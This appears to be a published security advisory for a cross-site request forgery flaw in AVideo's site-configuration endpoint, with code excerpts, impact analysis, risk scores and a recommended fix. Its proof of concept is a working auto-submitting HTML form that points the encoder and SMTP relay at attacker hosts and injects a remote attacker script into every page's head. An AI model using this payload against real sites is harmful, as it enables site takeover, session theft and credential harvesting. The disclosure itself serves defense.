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GHSA-vvfw-4m39-fjqf

HighCVSS 8.3 / 10

Published Apr 14, 2026·Last modified May 5, 2026

Affected Components(0)

No affected components available

Description

Summary

objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $_POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request.

Details

The entire authorization and CSRF check for the endpoint is this block at objects/configurationUpdate.json.php:10:

require_once $global['systemRootPath'] . 'objects/user.php';
if (!User::isAdmin()) {
    die('{"error":"' . __("Permission denied") . '"}');
}

Immediately after, $_POST values are written straight into the global AVideoConf object and persisted:

// objects/configurationUpdate.json.php
$config = new AVideoConf();
$config->setContactEmail($_POST['contactEmail']);          // :21
$config->setLanguage($_POST['language']);                  // :22
$config->setWebSiteTitle($_POST['webSiteTitle']);          // :23
$config->setDescription($_POST['description']);           // :24
$config->setAuthCanComment($_POST['authCanComment']);     // :25
$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26
// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):
$config->setEncoderURL($_POST['encoder_url']);            // :32
$config->setSmtp($_POST['smtp']);                         // :33
$config->setSmtpAuth($_POST['smtpAuth']);                 // :34
$config->setSmtpSecure($_POST['smtpSecure']);             // :35
$config->setSmtpHost($_POST['smtpHost']);                 // :36
$config->setSmtpUsername($_POST['smtpUsername']);         // :37
$config->setSmtpPassword($_POST['smtpPassword']);         // :38
$config->setSmtpPort($_POST['smtpPort']);                 // :39
$config->setHead($_POST['head']);                         // :42
// ...
// Logo / favicon writes:
$fileData = base64DataToImage($_POST['logoImgBase64']);   // :68
file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71
// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)
echo '{"status":"' . $config->save() . '", ...}';         // :130

Why CSRF actually lands

SameSite is intentionally None. objects/include_config.php:144 sets ini_set('session.cookie_samesite', 'None') and the adjacent comment states the design: "SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." This endpoint enforces no such token.
Project already ships a CSRF primitive and uses it elsewhere. objects/functionsSecurity.php:138 defines forbidIfIsUntrustedRequest(), and the peer admin endpoint objects/userUpdate.json.php:18 calls it explicitly. configurationUpdate.json.php has no such call — grepping the file confirms no forbidIfIsUntrustedRequest, verifyToken, globalToken, or Origin/Referer check.
The request is CORS-simple. The admin UI submits with jQuery $.ajax(...type: 'post', data: {...}) (see view/configurations_body.php:753), which sends application/x-www-form-urlencoded. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a <form> with the admin's session cookie attached.
Reachable via two paths. Direct POST /objects/configurationUpdate.json.php works, and .htaccess:459 also exposes it at POST /updateConfig.

Impact primitives unlocked by a single CSRF request

setEncoderURL() — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in aVideoEncoder.json.php / videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.
setSmtpHost/Username/Password/Port/Secure/Auth — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.
setHead() — attacker-chosen raw HTML is injected into every page's <head>, giving persistent site-wide stored XSS (e.g. <script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.
logoImgBase64 / faviconBase64 — attacker-controlled bytes are file_put_contents-ed into the web root under videos/userPhoto/logo.png and videos/favicon.png.
setContactEmail, setWebSiteTitle, setAuthCanUploadVideos, setAllow_download, setSession_timeout, setAdsense, setDisable_analytics — full site policy and branding control.

PoC

Attacker hosts evil.html on any origin:

<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
      method="POST" enctype="application/x-www-form-urlencoded">
  <input name="contactEmail"        value="attacker@evil.com">
  <input name="language"            value="en">
  <input name="webSiteTitle"        value="Pwned">
  <input name="description"         value="x">
  <input name="authCanComment"      value="1">
  <input name="authCanUploadVideos" value="1">
  <input name="authCanViewChart"    value="1">
  <input name="disable_analytics"   value="0">
  <input name="allow_download"      value="1">
  <input name="session_timeout"     value="3600">
  <input name="encoder_url"         value="https://attacker.example.com/Encoder/">
  <input name="smtp"                value="1">
  <input name="smtpAuth"            value="1">
  <input name="smtpSecure"          value="tls">
  <input name="smtpHost"            value="smtp.attacker.com">
  <input name="smtpUsername"        value="attacker">
  <input name="smtpPassword"        value="password">
  <input name="smtpPort"            value="587">
  <input name="head"                value='<script src="https://attacker.example.com/evil.js"></script>'>
  <input name="adsense"             value="x">
  <input name="autoplay"            value="1">
  <input name="theme"               value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>

Any user authenticated as AVideo administrator (User::isAdmin() true) visits https://attacker.example.com/evil.html. Their browser submits the form cross-origin; because session.cookie_samesite=None, PHPSESSID is included; because it's an application/x-www-form-urlencoded POST, no preflight is sent.
Server-side check at configurationUpdate.json.php:10 passes (User::isAdmin() is true for the victim), and the body reaches $config->save() at :130. Response:
```
{"status":"1","respnseLogo":[],"respnseFavicon":null}
```
The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected <script> in the rendered <head>, and by inspecting videos/configuration.php / the configurations table.
Stored-XSS pivot: every subsequent visitor (including other admins) now executes https://attacker.example.com/evil.js from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.
SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to smtp.attacker.com:587 with attacker:password, and any future mail from AVideo is observable by the attacker.

Impact

Full site configuration takeover from a single cross-origin form submission against any logged-in administrator.
Persistent stored XSS site-wide via setHead(), affecting every visitor and enabling session hijack of other admins and users.
Credential / reset-token exfiltration via attacker-controlled SMTP relay.
Encoder pipeline hijack: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
Arbitrary file write under web root via logoImgBase64 / faviconBase64.
No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.

Recommended Fix

Call the existing CSRF primitive immediately after the admin check, matching what objects/userUpdate.json.php:18 already does:

// objects/configurationUpdate.json.php
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
if (!User::isAdmin()) {
    die('{"error":"' . __("Permission denied") . '"}');
}
forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check

Preferably also require a short-lived globalToken (verifyToken($_REQUEST['globalToken'])) as include_config.php:140-143 prescribes, and update view/configurations_body.php to include that token in the AJAX payload. Audit all other objects/*.json.php state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.

Risk Scores

Base Score

8.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence

7.6

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS

0.17%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit

Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

High severity

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